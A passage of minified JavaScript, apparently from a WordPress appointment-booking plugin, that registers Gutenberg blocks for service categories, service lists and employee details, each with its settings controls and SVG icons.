image.\",\"motopress-appointment\"),checked:e,onChange:e=>{d({show_image:e})}}),wp.element.createElement(Kt,{label:s.__(\"Show Services Count?\",\"motopress-appointment\"),checked:t,onChange:e=>{d({show_count:e})}}),wp.element.createElement(Kt,{label:s.__(\"Show Description?\",\"motopress-appointment\"),checked:i,onChange:e=>{d({show_description:e})}}),wp.element.createElement(Qt,{label:s.__(\"Parent\",\"motopress-appointment\"),help:s.__(\"Parent term slug or ID to retrieve direct-child terms from.\",\"motopress-appointment\"),value:n,onChange:e=>{d({parent:e})}}),wp.element.createElement(Qt,{label:s.__(\"Categories\",\"motopress-appointment\"),help:s.__(\"Comma-separated slugs or IDs of categories that will be shown.\",\"motopress-appointment\"),value:a,onChange:e=>{d({categories:e})}}),wp.element.createElement(Qt,{label:s.__(\"Exclude Categories\",\"motopress-appointment\"),help:s.__(\"Comma-separated slugs or IDs of categories that will not be shown.\",\"motopress-appointment\"),value:o,onChange:e=>{d({exclude_categories:e})}}),wp.element.createElement(Kt,{label:s.__(\"Hide Empty\",\"motopress-appointment\"),help:s.__(\"Hide terms not assigned to any posts.\",\"motopress-appointment\"),checked:r,onChange:e=>{d({hide_empty:e})}}),wp.element.createElement(Zt,{label:s.__(\"Depth\",\"motopress-appointment\"),help:s.__(\"Display depth of child categories.\",\"motopress-appointment\"),value:l,onChange:e=>d({depth:e}),min:-1,max:100,placeholder:\"0\"}),wp.element.createElement(Zt,{label:s.__(\"Number\",\"motopress-appointment\"),help:s.__(\"Maximum number of categories to show.\",\"motopress-appointment\"),value:p,onChange:e=>d({number:e}),min:-1,max:100,placeholder:\"0\"}),wp.element.createElement(Zt,{label:s.__(\"Columns Count\",\"motopress-appointment\"),help:s.__(\"The number of columns in the grid.\",\"motopress-appointment\"),value:m,onChange:e=>d({columns_count:e}),min:0,max:100,placeholder:\"0\"}),wp.element.createElement(Gt,{label:s.__(\"Order By\",\"motopress-appointment\"),value:void 0!==c?c:\"none\",onChange:e=>d({orderby:e}),options:[{value:\"none\",label:s.__(\"No order\",\"motopress-appointment\")},{value:\"name\",label:s.__(\"Term name\",\"motopress-appointment\")},{value:\"slug\",label:s.__(\"Term slug\",\"motopress-appointment\")},{value:\"term_id\",label:s.__(\"Term ID\",\"motopress-appointment\")},{value:\"parent\",label:s.__(\"Parent ID\",\"motopress-appointment\")},{value:\"count\",label:s.__(\"Number of associated objects\",\"motopress-appointment\")},{value:\"include\",label:s.__('Keep the order of \"IDs\" parameter',\"motopress-appointment\")},{value:\"term_order\",label:s.__(\"Term order\",\"motopress-appointment\")},{value:\"service_category_order\",label:s.__(\"Page order\",\"motopress-appointment\")}]}),\"none\"!==c&&wp.element.createElement(Gt,{label:s.__(\"Order\",\"motopress-appointment\"),value:void 0!==h?h:\"desc\",onChange:e=>d({order:e}),options:[{value:\"desc\",label:s.__(\"DESC\",\"motopress-appointment\")},{value:\"asc\",label:s.__(\"ASC\",\"motopress-appointment\")}]}))))]}};const{serverSideRender:es}=wp,{Component:ts,Fragment:ss}=wp.element,{Disabled:is}=wp.components;const{registerBlockType:ns}=wp.blocks;ns(\"motopress-appointment\u002Fservice-categories\",{title:s.__(\"Service Categories\",\"motopress-appointment\"),icon:wp.element.createElement(\"svg\",{xmlns:\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\",x:\"0px\",y:\"0px\",viewBox:\"0 0 24 24\"},wp.element.createElement(\"path\",{d:\"M7.17,2l1.41,1.41L9.17,4H10h12v18H2V2H7.17 M8,0H0v2v22h24V2H10L8,0L8,0z\"}),wp.element.createElement(\"path\",{d:\"M17.59,14.18l-1.02-0.8c0.01-0.11,0.02-0.24,0.02-0.38s-0.01-0.27-0.02-0.38l1.02-0.8c0.26-0.21,0.32-0.57,0.16-0.85\\r l-1.12-1.92c-0.16-0.29-0.51-0.41-0.82-0.3l-1.2,0.48c-0.21-0.15-0.43-0.27-0.65-0.38l-0.18-1.28C13.73,7.24,13.45,7,13.12,7h-2.25\\r c-0.33,0-0.61,0.24-0.65,0.56l-0.18,1.28C9.81,8.95,9.59,9.08,9.38,9.22l-1.2-0.48c-0.31-0.12-0.65,0-0.81,0.29l-1.13,1.94\\r c-0.16,0.28-0.09,0.65,0.16,0.85l1.02,0.8C7.41,12.76,7.41,12.88,7.41,13s0,0.24,0.02,0.38l-1.03,0.8\\r c-0.25,0.21-0.32,0.57-0.16,0.85l1.12,1.92c0.16,0.29,0.51,0.41,0.82,0.29l1.2-0.48c0.21,0.15,0.43,0.27,0.65,0.38l0.18,1.28\\r c0.04,0.33,0.32,0.57,0.65,0.57h2.25c0.33,0,0.61-0.24,0.65-0.56l0.18-1.28c0.23-0.11,0.45-0.24,0.65-0.38l1.21,0.48\\r c0.31,0.12,0.65,0,0.81-0.29l1.13-1.95C17.92,14.73,17.85,14.38,17.59,14.18z M12,15.5c-1.38,0-2.5-1.12-2.5-2.5s1.12-2.5,2.5-2.5\\r s2.5,1.12,2.5,2.5S13.38,15.5,12,15.5z\"})),category:\"mpa-gutenberg-blocks\",keywords:[s.__(\"appointment\",\"motopress-appointment\")],supports:{anchor:!0,customClassName:!0},attributes:{show_image:{type:\"boolean\",default:!0},show_count:{type:\"boolean\",default:!0},show_description:{type:\"boolean\",default:!0},parent:{type:\"string\",default:\"\"},categories:{type:\"string\",default:\"\"},exclude_categories:{type:\"string\",default:\"\"},hide_empty:{type:\"boolean\",default:!0},depth:{type:\"number\",default:3},number:{type:\"number\",default:3},columns_count:{type:\"number\",default:3},orderby:{type:\"string\",default:\"none\"},order:{type:\"string\",default:\"desc\"}},edit:class extends ts{constructor(){super(...arguments)}render(){return wp.element.createElement(ss,null,wp.element.createElement(Xt,this.props),wp.element.createElement(is,null,wp.element.createElement(es,{block:\"motopress-appointment\u002Fservice-categories\",attributes:this.props.attributes})))}},save:()=>null});const{Component:as,Fragment:os}=wp.element,{SelectControl:rs,PanelBody:ls,TextControl:ps,ToggleControl:ms,RangeControl:cs}=wp.components,{InspectorControls:hs}=wp.blockEditor||wp.editor;let ds=class extends as{render(){const{show_image:e,show_title:t,show_excerpt:i,show_price:n,show_duration:a,show_capacity:o,show_employees:r,services:l,employees:p,categories:m,tags:c,posts_per_page:h,columns_count:d,orderby:u,order:g}=this.props.attributes,{setAttributes:y}=this.props;return[wp.element.createElement(hs,{key:\"inspector\"},wp.element.createElement(os,null,wp.element.createElement(ls,{title:s.__(\"Settings\",\"motopress-appointment\"),initialOpen:!0},wp.element.createElement(ms,{label:s.__(\"Show featured image.\",\"motopress-appointment\"),checked:e,onChange:e=>{y({show_image:e})}}),wp.element.createElement(ms,{label:s.__(\"Show post title.\",\"motopress-appointment\"),checked:t,onChange:e=>{y({show_title:e})}}),wp.element.createElement(ms,{label:s.__(\"Show post excerpt.\",\"motopress-appointment\"),checked:i,onChange:e=>{y({show_excerpt:e})}}),wp.element.createElement(ms,{label:s.__(\"Show service price.\",\"motopress-appointment\"),checked:n,onChange:e=>{y({show_price:e})}}),wp.element.createElement(ms,{label:s.__(\"Show service duration.\",\"motopress-appointment\"),checked:a,onChange:e=>{y({show_duration:e})}}),wp.element.createElement(ms,{label:s.__(\"Show service capacity.\",\"motopress-appointment\"),checked:o,onChange:e=>{y({show_capacity:e})}}),wp.element.createElement(ms,{label:s.__(\"Show service employees.\",\"motopress-appointment\"),checked:r,onChange:e=>{y({show_employees:e})}}),wp.element.createElement(ps,{label:s.__(\"Services\",\"motopress-appointment\"),help:s.__(\"Comma-separated slugs or IDs of services that will be shown.\",\"motopress-appointment\"),value:l,onChange:e=>{y({services:e})}}),wp.element.createElement(ps,{label:s.__(\"Employees\",\"motopress-appointment\"),help:s.__(\"Comma-separated slugs or IDs of employees that perform these services.\",\"motopress-appointment\"),value:p,onChange:e=>{y({employees:e})}}),wp.element.createElement(ps,{label:s.__(\"Categories\",\"motopress-appointment\"),help:s.__(\"Comma-separated slugs or IDs of categories that will be shown.\",\"motopress-appointment\"),value:m,onChange:e=>{y({categories:e})}}),wp.element.createElement(ps,{label:s.__(\"Tags\",\"motopress-appointment\"),help:s.__(\"Comma-separated slugs or IDs of tags that will be shown.\",\"motopress-appointment\"),value:c,onChange:e=>{y({tags:e})}}),wp.element.createElement(cs,{label:s.__(\"Posts Per Page\",\"motopress-appointment\"),value:h,onChange:e=>y({posts_per_page:e}),min:-1,max:100,placeholder:\"0\"}),wp.element.createElement(cs,{label:s.__(\"Columns Count\",\"motopress-appointment\"),help:s.__(\"The number of columns in the grid.\",\"motopress-appointment\"),value:d,onChange:e=>y({columns_count:e}),min:0,max:100,placeholder:\"0\"}),wp.element.createElement(rs,{label:s.__(\"Order By\",\"motopress-appointment\"),value:void 0!==u?u:\"none\",onChange:e=>y({orderby:e}),options:[{value:\"none\",label:s.__(\"No order\",\"motopress-appointment\")},{value:\"ID\",label:s.__(\"Post ID\",\"motopress-appointment\")},{value:\"author\",label:s.__(\"Post author\",\"motopress-appointment\")},{value:\"title\",label:s.__(\"Post title\",\"motopress-appointment\")},{value:\"name\",label:s.__(\"Post name (post slug)\",\"motopress-appointment\")},{value:\"date\",label:s.__(\"Post date\",\"motopress-appointment\")},{value:\"modified\",label:s.__(\"Last modified date\",\"motopress-appointment\")},{value:\"rand\",label:s.__(\"Random order\",\"motopress-appointment\")},{value:\"relevance\",label:s.__(\"Relevance\",\"motopress-appointment\")},{value:\"menu_order\",label:s.__(\"Page order\",\"motopress-appointment\")},{value:\"menu_order title\",label:s.__(\"Page order and post title\",\"motopress-appointment\")},{value:\"price\",label:s.__(\"Price\",\"motopress-appointment\")}]}),\"none\"!==u&&wp.element.createElement(rs,{label:s.__(\"Order\",\"motopress-appointment\"),value:void 0!==g?g:\"desc\",onChange:e=>y({order:e}),options:[{value:\"desc\",label:s.__(\"DESC\",\"motopress-appointment\")},{value:\"asc\",label:s.__(\"ASC\",\"motopress-appointment\")}]}))))]}};const{serverSideRender:us}=wp,{Component:gs,Fragment:ys}=wp.element,{Disabled:bs}=wp.components;const{registerBlockType:_s}=wp.blocks;_s(\"motopress-appointment\u002Fservices-list\",{title:s.__(\"Services List\",\"motopress-appointment\"),icon:wp.element.createElement(\"svg\",{xmlns:\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\",x:\"0px\",y:\"0px\",viewBox:\"0 0 24 24\"},wp.element.createElement(\"polygon\",{points:\"24,21 6,21 6,23 24,23 \"}),wp.element.createElement(\"path\",{d:\"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z\"}),wp.element.createElement(\"polygon\",{points:\"24,15 6,15 6,17 24,17 \"}),wp.element.createElement(\"path\",{d:\"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z\"}),wp.element.createElement(\"path\",{d:\"M17.59,7.18l-1.02-0.8c0.01-0.11,0.02-0.24,0.02-0.38s-0.01-0.27-0.02-0.38l1.02-0.8c0.26-0.21,0.32-0.57,0.16-0.85\\r l-1.12-1.92c-0.16-0.29-0.51-0.41-0.82-0.3l-1.2,0.48c-0.21-0.15-0.43-0.27-0.65-0.38l-0.18-1.28C13.73,0.24,13.45,0,13.12,0h-2.25\\r c-0.33,0-0.61,0.24-0.65,0.56l-0.18,1.28C9.81,1.95,9.59,2.08,9.38,2.22l-1.2-0.48c-0.31-0.12-0.65,0-0.81,0.29L6.24,3.97\\r C6.08,4.25,6.15,4.62,6.4,4.82l1.02,0.8C7.41,5.76,7.41,5.88,7.41,6s0,0.24,0.02,0.38L6.4,7.18C6.15,7.39,6.08,7.75,6.24,8.03\\r l1.12,1.92c0.16,0.29,0.51,0.41,0.82,0.29l1.2-0.48c0.21,0.15,0.43,0.27,0.65,0.38l0.18,1.28c0.04,0.33,0.32,0.57,0.65,0.57h2.25\\r c0.33,0,0.61-0.24,0.65-0.56l0.18-1.28c0.23-0.11,0.45-0.24,0.65-0.38l1.21,0.48c0.31,0.12,0.65,0,0.81-0.29l1.13-1.95\\r C17.92,7.73,17.85,7.38,17.59,7.18z M12,8.5c-1.38,0-2.5-1.12-2.5-2.5s1.12-2.5,2.5-2.5s2.5,1.12,2.5,2.5S13.38,8.5,12,8.5z\"})),category:\"mpa-gutenberg-blocks\",keywords:[s.__(\"appointment\",\"motopress-appointment\")],supports:{anchor:!0,customClassName:!0},attributes:{show_image:{type:\"boolean\",default:!0},show_title:{type:\"boolean\",default:!0},show_excerpt:{type:\"boolean\",default:!0},show_price:{type:\"boolean\",default:!0},show_duration:{type:\"boolean\",default:!0},show_capacity:{type:\"boolean\",default:!0},show_employees:{type:\"boolean\",default:!0},services:{type:\"string\",default:\"\"},employees:{type:\"string\",default:\"\"},categories:{type:\"string\",default:\"\"},tags:{type:\"string\",default:\"\"},posts_per_page:{type:\"number\",default:3},columns_count:{type:\"number\",default:3},orderby:{type:\"string\",default:\"none\"},order:{type:\"string\",default:\"desc\"}},edit:class extends gs{constructor(){super(...arguments)}render(){return wp.element.createElement(ys,null,wp.element.createElement(ds,this.props),wp.element.createElement(bs,null,wp.element.createElement(us,{block:\"motopress-appointment\u002Fservices-list\",attributes:this.props.attributes})))}},save:()=>null});const{Component:fs,Fragment:vs}=wp.element,{PanelBody:ws,TextControl:Cs}=wp.components,{InspectorControls:Ss}=wp.blockEditor||wp.editor;let Es=class extends fs{render(){const{id:e}=this.props.attributes,{setAttributes:t}=this.props;return[wp.element.createElement(Ss,{key:\"inspector\"},wp.element.createElement(vs,null,wp.element.createElement(ws,{title:s.__(\"Settings\",\"motopress-appointment\"),initialOpen:!0},wp.element.createElement(Cs,{label:s.__(\"ID\",\"motopress-appointment\"),help:s.__(\"Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.\",\"motopress-appointment\"),value:e,onChange:e=>{t({id:e})}}))))]}};const{serverSideRender:ks}=wp,{Component:Ps,Fragment:Is}=wp.element,{Disabled:Ts}=wp.components;const{registerBlockType:$s}=wp.blocks;$s(\"motopress-appointment\u002Femployee-image\",{title:s.__(\"Employee Image\",\"motopress-appointment\"),icon:wp.element.createElement(\"svg\",{xmlns:\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\",x:\"0px\",y:\"0px\",viewBox:\"0 0 24 24\"},wp.element.createElement(\"polygon\",{points:\"24,21 6,21 6,23 24,23 \"}),wp.element.createElement(\"path\",{d:\"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z\"}),wp.element.createElement(\"polygon\",{points:\"24,15 6,15 6,17 24,17 \"}),wp.element.createElement(\"path\",{d:\"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z\"}),wp.element.createElement(\"path\",{d:\"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z\"})),category:\"mpa-gutenberg-blocks\",keywords:[s.__(\"appointment\",\"motopress-appointment\")],supports:{anchor:!0,customClassName:!0},attributes:{id:{type:\"string\",default:\"\"}},edit:class extends Ps{constructor(e){super(...arguments)}render(){return wp.element.createElement(Is,null,wp.element.createElement(Es,this.props),wp.element.createElement(Ts,null,wp.element.createElement(ks,{block:\"motopress-appointment\u002Femployee-image\",attributes:this.props.attributes})))}},save:()=>null});const{Component:Ds,Fragment:xs}=wp.element,{PanelBody:Ms,TextControl:As}=wp.components,{InspectorControls:Bs}=wp.blockEditor||wp.editor;let Ls=class extends Ds{render(){const{id:e}=this.props.attributes,{setAttributes:t}=this.props;return[wp.element.createElement(Bs,{key:\"inspector\"},wp.element.createElement(xs,null,wp.element.createElement(Ms,{title:s.__(\"Settings\",\"motopress-appointment\"),initialOpen:!0},wp.element.createElement(As,{label:s.__(\"ID\",\"motopress-appointment\"),help:s.__(\"Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.\",\"motopress-appointment\"),value:e,onChange:e=>{t({id:e})}}))))]}};const{serverSideRender:Fs}=wp,{Component:Rs,Fragment:Os}=wp.element,{Disabled:Ns}=wp.components;const{registerBlockType:Hs}=wp.blocks;Hs(\"motopress-appointment\u002Femployee-title\",{title:s.__(\"Employee Title\",\"motopress-appointment\"),icon:wp.element.createElement(\"svg\",{xmlns:\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\",x:\"0px\",y:\"0px\",viewBox:\"0 0 24 24\"},wp.element.createElement(\"polygon\",{points:\"24,21 6,21 6,23 24,23 \"}),wp.element.createElement(\"path\",{d:\"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z\"}),wp.element.createElement(\"polygon\",{points:\"24,15 6,15 6,17 24,17 \"}),wp.element.createElement(\"path\",{d:\"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z\"}),wp.element.createElement(\"path\",{d:\"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z\"})),category:\"mpa-gutenberg-blocks\",keywords:[s.__(\"appointment\",\"motopress-appointment\")],supports:{anchor:!0,customClassName:!0},attributes:{id:{type:\"string\",default:\"\"}},edit:class extends Rs{constructor(e){super(...arguments)}render(){return wp.element.createElement(Os,null,wp.element.createElement(Ls,this.props),wp.element.createElement(Ns,null,wp.element.createElement(Fs,{block:\"motopress-appointment\u002Femployee-title\",attributes:this.props.attributes})))}},save:()=>null});const{Component:Vs,Fragment:zs}=wp.element,{PanelBody:qs,TextControl:Us}=wp.components,{InspectorControls:js}=wp.blockEditor||wp.editor;let Ws=class extends Vs{render(){const{id:e}=this.props.attributes,{setAttributes:t}=this.props;return[wp.element.createElement(js,{key:\"inspector\"},wp.element.createElement(zs,null,wp.element.createElement(qs,{title:s.__(\"Settings\",\"motopress-appointment\"),initialOpen:!0},wp.element.createElement(Us,{label:s.__(\"ID\",\"motopress-appointment\"),help:s.__(\"Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.\",\"motopress-appointment\"),value:e,onChange:e=>{t({id:e})}}))))]}};const{serverSideRender:Gs}=wp,{Component:Ys,Fragment:Qs}=wp.element,{Disabled:Ks}=wp.components;const{registerBlockType:Zs}=wp.blocks;Zs(\"motopress-appointment\u002Femployee-services-list\",{title:s.__(\"Employee Services List\",\"motopress-appointment\"),icon:wp.element.createElement(\"svg\",{xmlns:\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\",x:\"0px\",y:\"0px\",viewBox:\"0 0 24 24\"},wp.element.createElement(\"polygon\",{points:\"24,21 6,21 6,23 24,23 \"}),wp.element.createElement(\"path\",{d:\"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z\"}),wp.element.createElement(\"polygon\",{points:\"24,15 6,15 6,17 24,17 \"}),wp.element.createElement(\"path\",{d:\"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z\"}),wp.element.createElement(\"path\",{d:\"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z\"})),category:\"mpa-gutenberg-blocks\",keywords:[s.__(\"appointment\",\"motopress-appointment\")],supports:{anchor:!0,customClassName:!0},attributes:{id:{type:\"string\",default:\"\"}},edit:class extends Ys{constructor(e){super(...arguments)}render(){return wp.element.createElement(Qs,null,wp.element.createElement(Ws,this.props),wp.element.createElement(Ks,null,wp.element.createElement(Gs,{block:\"motopress-appointment\u002Femployee-services-list\",attributes:this.props.attributes})))}},save:()=>null});const{Component:Js,Fragment:Xs}=wp.element,{PanelBody:ei,TextControl:ti}=wp.components,{InspectorControls:si}=wp.blockEditor||wp.editor;let ii=class extends Js{render(){const{id:e}=this.props.attributes,{setAttributes:t}=this.props;return[wp.element.createElement(si,{key:\"inspector\"},wp.element.createElement(Xs,null,wp.element.createElement(ei,{title:s.__(\"Settings\",\"motopress-appointment\"),initialOpen:!0},wp.element.createElement(ti,{label:s.__(\"ID\",\"motopress-appointment\"),help:s.__(\"Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.\",\"motopress-appointment\"),value:e,onChange:e=>{t({id:e})}}))))]}};const{serverSideRender:ni}=wp,{Component:ai,Fragment:oi}=wp.element,{Disabled:ri}=wp.components;const{registerBlockType:li}=wp.blocks;li(\"motopress-appointment\u002Femployee-schedule\",{title:s.__(\"Employee Schedule\",\"motopress-appointment\"),icon:wp.element.createElement(\"svg\",{xmlns:\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\",x:\"0px\",y:\"0px\",viewBox:\"0 0 24 24\"},wp.element.createElement(\"polygon\",{points:\"24,21 6,21 6,23 24,23 \"}),wp.element.createElement(\"path\",{d:\"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z\"}),wp.element.createElement(\"polygon\",{points:\"24,15 6,15 6,17 24,17 \"}),wp.element.createElement(\"path\",{d:\"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z\"}),wp.element.createElement(\"path\",{d:\"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z\"})),category:\"mpa-gutenberg-blocks\",keywords:[s.__(\"appointment\",\"motopress-appointment\")],supports:{anchor:!0,customClassName:!0},attributes:{id:{type:\"string\",default:\"\"}},edit:class extends ai{constructor(e){super(...arguments)}render(){return wp.element.createElement(oi,null,wp.element.createElement(ii,this.props),wp.element.createElement(ri,null,wp.element.createElement(ni,{block:\"motopress-appointment\u002Femployee-schedule\",attributes:this.props.attributes})))}},save:()=>null});const{Component:pi,Fragment:mi}=wp.element,{PanelBody:ci,TextControl:hi}=wp.components,{InspectorControls:di}=wp.blockEditor||wp.editor;let ui=class extends pi{render(){const{id:e}=this.props.attributes,{setAttributes:t}=this.props;return[wp.element.createElement(di,{key:\"inspector\"},wp.element.createElement(mi,null,wp.element.createElement(ci,{title:s.__(\"Settings\",\"motopress-appointment\"),initialOpen:!0},wp.element.createElement(hi,{label:s.__(\"ID\",\"motopress-appointment\"),help:s.__(\"Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.\",\"motopress-appointment\"),value:e,onChange:e=>{t({id:e})}}))))]}};const{serverSideRender:gi}=wp,{Component:yi,Fragment:bi}=wp.element,{Disabled:_i}=wp.components;const{registerBlockType:fi}=wp.blocks;fi(\"motopress-appointment\u002Femployee-content\",{title:s.__(\"Employee Content\",\"motopress-appointment\"),icon:wp.element.createElement(\"svg\",{xmlns:\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\",x:\"0px\",y:\"0px\",viewBox:\"0 0 24 24\"},wp.element.createElement(\"polygon\",{points:\"24,21 6,21 6,23 24,23 \"}),wp.element.createElement(\"path\",{d:\"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z\"}),wp.element.createElement(\"polygon\",{points:\"24,15 6,15 6,17 24,17 \"}),wp.element.createElement(\"path\",{d:\"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z\"}),wp.element.createElement(\"path\",{d:\"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z\"})),category:\"mpa-gutenberg-blocks\",keywords:[s.__(\"appointment\",\"motopress-appointment\")],supports:{anchor:!0,customClassName:!0},attributes:{id:{type:\"string\",default:\"\"}},edit:class extends yi{constructor(e){super(...arguments)}render(){return wp.element.createElement(bi,null,wp.element.createElement(ui,this.props),wp.element.createElement(_i,null,wp.element.createElement(gi,{block:\"motopress-appointment\u002Femployee-content\",attributes:this.props.attributes})))}},save:()=>null});const{Component:vi,Fragment:wi}=wp.element,{PanelBody:Ci,TextControl:Si}=wp.components,{InspectorControls:Ei}=wp.blockEditor||wp.editor;let ki=class extends vi{render(){const{id:e}=this.props.attributes,{setAttributes:t}=this.props;return[wp.element.createElement(Ei,{key:\"inspector\"},wp.element.createElement(wi,null,wp.element.createElement(Ci,{title:s.__(\"Settings\",\"motopress-appointment\"),initialOpen:!0},wp.element.createElement(Si,{label:s.__(\"ID\",\"motopress-appointment\"),help:s.__(\"Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.\",\"motopress-appointment\"),value:e,onChange:e=>{t({id:e})}}))))]}};const{serverSideRender:Pi}=wp,{Component:Ii,Fragment:Ti}=wp.element,{Disabled:$i}=wp.components;const{registerBlockType:Di}=wp.blocks;Di(\"motopress-appointment\u002Femployee-contacts\",{title:s.__(\"Employee Contact Information\",\"motopress-appointment\"),icon:wp.element.createElement(\"svg\",{xmlns:\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\",x:\"0px\",y:\"0px\",viewBox:\"0 0 24 24\"},wp.element.createElement(\"polygon\",{points:\"24,21 6,21 6,23 24,23 \"}),wp.element.createElement(\"path\",{d:\"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z\"}),wp.element.createElement(\"polygon\",{points:\"24,15 6,15 6,17 24,17 \"}),wp.element.createElement(\"path\",{d:\"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z\"}),wp.element.createElement(\"path\",{d:\"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z\"})),category:\"mpa-gutenberg-blocks\",keywords:[s.__(\"appointment\",\"motopress-appointment\")],supports:{anchor:!0,customClassName:!0},attributes:{id:{type:\"string\",default:\"\"}},edit:class extends Ii{constructor(e){super(...arguments)}render(){return wp.element.createElement(Ti,null,wp.element.createElement(ki,this.props),wp.element.createElement($i,null,wp.element.createElement(Pi,{block:\"motopress-appointment\u002Femployee-contacts\",attributes:this.props.attributes})))}},save:()=>null});const{Component:xi,Fragment:Mi}=wp.element,{PanelBody:Ai,TextControl:Bi}=wp.components,{InspectorControls:Li}=wp.blockEditor||wp.editor;let Fi=class extends xi{render(){const{id:e}=this.props.attributes,{setAttributes:t}=this.props;return[wp.element.createElement(Li,{key:\"inspector\"},wp.element.createElement(Mi,null,wp.element.createElement(Ai,{title:s.__(\"Settings\",\"motopress-appointment\"),initialOpen:!0},wp.element.createElement(Bi,{label:s.__(\"ID\",\"motopress-appointment\"),help:s.__(\"Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required 